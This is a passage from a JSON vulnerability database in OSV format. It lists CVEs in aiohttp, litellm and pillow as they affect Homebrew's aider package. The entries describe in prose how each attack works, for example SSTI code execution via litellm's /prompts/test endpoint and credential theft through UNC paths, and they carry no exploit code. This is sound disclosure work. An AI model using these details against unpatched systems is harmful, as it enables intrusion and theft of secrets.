https://github.com/aio-libs/aiohttp/commit/9a6ada97e2c6cf1ce31727c6c9fcea17c21f6f06","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-2vrm-gr82-f7m5"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34514"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/9a6ada97e2c6cf1ce31727c6c9fcea17c21f6f06"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-34515","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:11Z","upstream":["GHSA-p998-jp59-783m","CVE-2026-34515","PYSEC-2026-2097"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP affected by UNC SSRF/NTLMv2 Credential Theft/Local File Read in static resource handler on Windows","details":"### Summary\n\nOn Windows the static resource handler may expose information about a NTLMv2 remote path.\n\n### Impact\n\nIf an application is running on Windows, and using aiohttp's static resource handler (not recommended in production), then it may be possible for an attacker to extract the hash from an NTLMv2 path and then extract the user's credentials from there.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/0ae2aa076c84573df83fc1fdc39eec0f5862fe3d","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-p998-jp59-783m"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34515"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/0ae2aa076c84573df83fc1fdc39eec0f5862fe3d"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-34516","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:11Z","upstream":["GHSA-m5qp-6w8w-w647","CVE-2026-34516","PYSEC-2026-2098"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP has a Multipart Header Size Bypass","details":"### Summary\n\nA response with an excessive number of multipart headers may be allowed to use more memory than intended, potentially allowing a DoS vulnerability.\n\n### Impact\n\nMultipart headers were not subject to the same size restrictions in place for normal headers, potentially allowing substantially more data to be loaded into memory than intended. However, other restrictions in place limit the impact of this vulnerability.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/8a74257b3804c9aac0bf644af93070f68f6c5a6f","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-m5qp-6w8w-w647"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34516"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/8a74257b3804c9aac0bf644af93070f68f6c5a6f"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-34517","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:11Z","upstream":["GHSA-3wq7-rqq7-wx6j","CVE-2026-34517","PYSEC-2026-2099"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP has late size enforcement for non-file multipart fields causes memory DoS","details":"### Summary\n\nFor some multipart form fields, aiohttp read the entire field into memory before checking client_max_size.\n\n### Impact\n\nIf an application uses `Request.post()` an attacker can send a specially crafted multipart request to force significant temporary memory allocation even when the request is ultimately rejected.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/cbb774f38330563422ca0c413a71021d7b944145","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-3wq7-rqq7-wx6j"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34517"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/cbb774f38330563422ca0c413a71021d7b944145"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-34518","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:11Z","upstream":["GHSA-966j-vmvw-g2g9","CVE-2026-34518","PYSEC-2026-2100"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP leaks Cookie and Proxy-Authorization headers on cross-origin redirect","details":"### Summary\n\nWhen following redirects to a different origin, aiohttp drops the Authorization header, but retains the Cookie and Proxy-Authorization headers.\n\n### Impact\n\nThe Cookie and Proxy-Authorizations headers could contain sensitive information which may be leaked to an unintended party after following a redirect.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/5351c980dcec7ad385730efdf4e1f4338b24fdb6","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-966j-vmvw-g2g9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34518"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/5351c980dcec7ad385730efdf4e1f4338b24fdb6"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-34519","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:11Z","upstream":["GHSA-mwh4-6h8g-pg8w","CVE-2026-34519","PYSEC-2026-2101"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP has HTTP response splitting via \\r in reason phrase","details":"### Summary\n\nAn attacker who controls the `reason` parameter when creating a `Response` may be able to inject extra headers or similar exploits.\n\n### Impact\n\nIn the unlikely situation that an application allows untrusted data to be used in the response's `reason` parameter, then an attacker could manipulate the response to send something different from what the developer intended.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/53b35a2f8869c37a133e60bf1a82a1c01642ba2b","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-mwh4-6h8g-pg8w"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34519"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/53b35a2f8869c37a133e60bf1a82a1c01642ba2b"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-34520","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:11Z","upstream":["GHSA-63hf-3vf5-4wqf","CVE-2026-34520","PYSEC-2026-2102"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP's C parser (llhttp) accepts null bytes and control characters in response header values - header injection/security bypass","details":"### Summary\n\nThe C parser (the default for most installs) accepted null bytes and control characters in request headers.\n\n### Impact\n\nAn attacker could send header values that are interpreted differently than expected due to the presence of control characters. For example, `request.url.origin()` may return a different value than the raw Host header, or what a reverse proxy interpreted it as., potentially resulting in some kind of security bypass.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/9370b9714a7a56003cacd31a9b4ae16eab109ba4","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-63hf-3vf5-4wqf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34520"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/9370b9714a7a56003cacd31a9b4ae16eab109ba4"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/aiohttp/PYSEC-2026-2102.yaml"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-34525","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:11Z","upstream":["GHSA-c427-h43c-vf67","CVE-2026-34525","PYSEC-2026-2103"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP accepts duplicate Host headers","details":"### Summary\n\nMultiple Host headers were allowed in aiohttp.\n\n### Impact\n\nMostly this doesn't affect aiohttp security itself, but if a reverse proxy is applying security rules depending on the target Host, it is theoretically possible that the proxy and aiohttp could process different host names, possibly resulting in bypassing a security check on the proxy and getting a request processed by aiohttp in a privileged sub app when using `Application.add_domain()`.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/e00ca3cca92c465c7913c4beb763a72da9ed8349\nPatch: https://github.com/aio-libs/aiohttp/commit/53e2e6fc58b89c6185be7820bd2c9f40216b3000","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-c427-h43c-vf67"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34525"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/53e2e6fc58b89c6185be7820bd2c9f40216b3000"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/e00ca3cca92c465c7913c4beb763a72da9ed8349"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-34993","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:11Z","upstream":["GHSA-jg22-mg44-37j8","CVE-2026-34993","PYSEC-2026-2104"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.0","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP is Vulnerable to Deserialization of Untrusted Data","details":"### Summary\n\nUsing ``CookieJar.load()`` with untrusted input may allow arbitrary code execution.\n\n### Impact\n\nMost applications using this function will be doing so with the user's own data, so this is unlikely to affect many applications.\n\n### Workaround\n\nIf an application does allow attacker controlled files to be loaded, a workaround on older releases would be to sanitise the files before loading.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/dcf40f30637e8752c76781cf6703b5a236749a00","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:L/I:H/A:L"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-jg22-mg44-37j8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34993"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/dcf40f30637e8752c76781cf6703b5a236749a00"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-35029","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:13Z","upstream":["GHSA-53mr-6c8q-9789","CVE-2026-35029","PYSEC-2026-2597"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.83.0","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM: Privilege escalation via unrestricted proxy configuration endpoint","details":"### Impact\n\nThe `/config/update endpoint` does not enforce admin role authorization. A user who is already authenticated into the platform can then use this endpoint to do the following:\n\n  - Modify proxy configuration and environment variables\n  - Register custom pass-through endpoint handlers pointing to attacker-controlled Python code, achieving remote code execution\n  - Read arbitrary server files by setting UI_LOGO_PATH and fetching via /get_image\n  - Take over other priveleged accounts by overwriting UI_USERNAME and UI_PASSWORD environment variables\n\n### Patches\n\nFixed in v1.83.0. The endpoint now requires `proxy_admin` role.\n\n### Workarounds\n\nRestrict API key distribution. There is no configuration-level workaround.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/BerriAI/litellm/security/advisories/GHSA-53mr-6c8q-9789"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35029"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"http://seclists.org/fulldisclosure/2026/Apr/17"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-35030","published":"2026-08-13T16:35:12Z","modified":"2026-11-17T09:52:38Z","upstream":["GHSA-jjhc-v7c2-5hh6","CVE-2026-35030","PYSEC-2026-390"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.83.0","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM: Authentication bypass via OIDC userinfo cache key collision","details":"###  Impact\n\nWhen JWT authentication is enabled (`enable_jwt_auth: true`), the OIDC userinfo cache uses `token[:20]` as the cache key. JWT headers produced by the same signing algorithm generate identical first 20 characters.\n\nThis configuration option is not enabled by default. **Most instances are not affected.**\n\nAn unauthenticated attacker can craft a token whose first 20 characters match a legitimate user's cached token. On cache hit, the attacker inherits the legitimate user's identity and permissions. This affects deployments with JWT/OIDC authentication enabled.\n\n###  Patches\n\nFixed in v1.83.0. The cache key now uses the full hash of the JWT token.\n\n###  Workarounds\n\nDisable OIDC userinfo caching by setting the cache TTL to 0, or disable JWT authentication entirely.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/BerriAI/litellm/security/advisories/GHSA-jjhc-v7c2-5hh6"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35030"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13545"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:28960"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:30056"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-35030"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2455509"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/litellm/PYSEC-2026-390.yaml"},{"type":"WEB","url":"https://pypi.org/project/litellm"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-35030.json"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-37004","published":"2026-09-09T23:40:56Z","modified":"2026-10-08T00:29:13Z","upstream":["GHSA-6wvf-77m9-58rm","CVE-2026-37004","PYSEC-2026-3861"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.83.7","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM vulnerable to server-side template injection in the /prompts/test endpoint","details":"BerriAI litellm <=1.82.4 is vulnerable to Server-Side Template Injection (SSTI), which allows unauthenticated remote attackers to execute arbitrary OS commands via a crafted dotprompt_content parameter in the /prompts/test endpoint due to use of an unsandboxed jinja2.Environment.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-37004"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/commit/d910a95661fce3cdd36f3b06c03ecf9c46c6457c"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/blob/244bdffd1bfe7bebdfdef516e1ebe426a898e2f0/litellm/proxy/prompts/prompt_endpoints.py#L1073"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/releases/tag/v1.83.7-stable"},{"type":"WEB","url":"https://yerangamage.com/cves/detail/?slug=litellm-ssti-rce"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-40192","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:34Z","upstream":["GHSA-whj4-6x5x-4v2j","BIT-pillow-2026-40192","CVE-2026-40192","PYSEC-2026-2250"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.1_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"12.2.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"FITS GZIP decompression bomb in Pillow","details":"### Impact\nPillow did not limit the amount of GZIP-compressed data read when decoding a FITS image, making it vulnerable to decompression bomb attacks. A specially crafted FITS file could cause unbounded memory consumption, leading to denial of service (OOM crash or severe performance degradation).\n\n### Patches\nThe amount of data read is now limited to the necessary amount.\nFixed in Pillow 12.2.0 (PR #9521).\n\n### Workarounds\nAvoid Pillow >= 10.3.0, < 12.2.0\nOnly open [specific image formats](https://pillow.readthedocs.io/en/stable/releasenotes/8.0.0.html#image-open-add-formats-parameter), excluding FITS.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-whj4-6x5x-4v2j"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40192"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/pull/9521"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/3cb854e8b2bab43f40e342e665f9340d861aa628"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://pillow.readthedocs.io/en/stable/releasenotes/12.2.0.html#prevent-fits-decompression-bomb"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-40217","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:14Z","upstream":["GHSA-wxxx-gvqv-xp7p","CVE-2026-40217","PYSEC-2026-2601"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.2"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.83.10","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM has a sandbox escape in custom-code guardrail","details":"### Impact\n\nThe `POST /guardrails/test_custom_code` endpoint runs user-supplied Python inside a hand-rolled sandbox. The sandbox can be escaped using bytecode-level techniques, allowing arbitrary code execution in the proxy process — which runs as root in the default Docker image.\n\n**Reaching the endpoint requires a proxy-admin credential** in default configurations.\n\n### Patches\n\nFixed in **`1.83.11`**. The hand-rolled sandbox has been replaced with `RestrictedPython`. Upgrade to `1.83.11` or later.\n\n### Workarounds\n\nIf upgrading is not immediately possible, block `POST /guardrails/test_custom_code` at your reverse proxy or API gateway.\n\n### References\n\n- Patched release: [`v1.83.10-stable`](https://github.com/BerriAI/litellm/releases/tag/v1.83.10-stable)","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/BerriAI/litellm/security/advisories/GHSA-wxxx-gvqv-xp7p"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40217"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/releases/tag/v1.83.10-stable"},{"type":"WEB","url":"https://www.x41-dsec.de/lab/advisories/x41-2026-001-litellm"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-42203","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:14Z","upstream":["GHSA-xqmj-j6mv-4862","CVE-2026-42203","PYSEC-2026-2602"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.2"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.83.7","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM: Server-Side Template Injection in /prompts/test endpoint","details":"### Impact\nThe `POST /prompts/test` endpoint accepted user-supplied prompt templates and rendered them without sandboxing. A crafted template could run arbitrary code inside the LiteLLM Proxy process.\n\nThe endpoint only checks that the caller presents a valid proxy API key, so any authenticated user could reach it. Depending on how the proxy is deployed, this could expose secrets in the process environment (such as provider API keys or database credentials) and allow commands to be run on the host.\n\nProxy deployments running an affected version are in scope.\n\n### Patches\nThe issue is fixed in **`1.83.7-stable`**. The fix switches the prompt template renderer to a sandboxed environment that blocks the attributes this attack relies on.\n\nLiteLLM recommends upgrading to `1.83.7-stable` or later.\n\n### Workarounds\nIf upgrading is not immediately possible:\n\n1. Block `POST /prompts/test` at your reverse proxy or API gateway.\n2. Review and rotate API keys that should not have access to prompt management 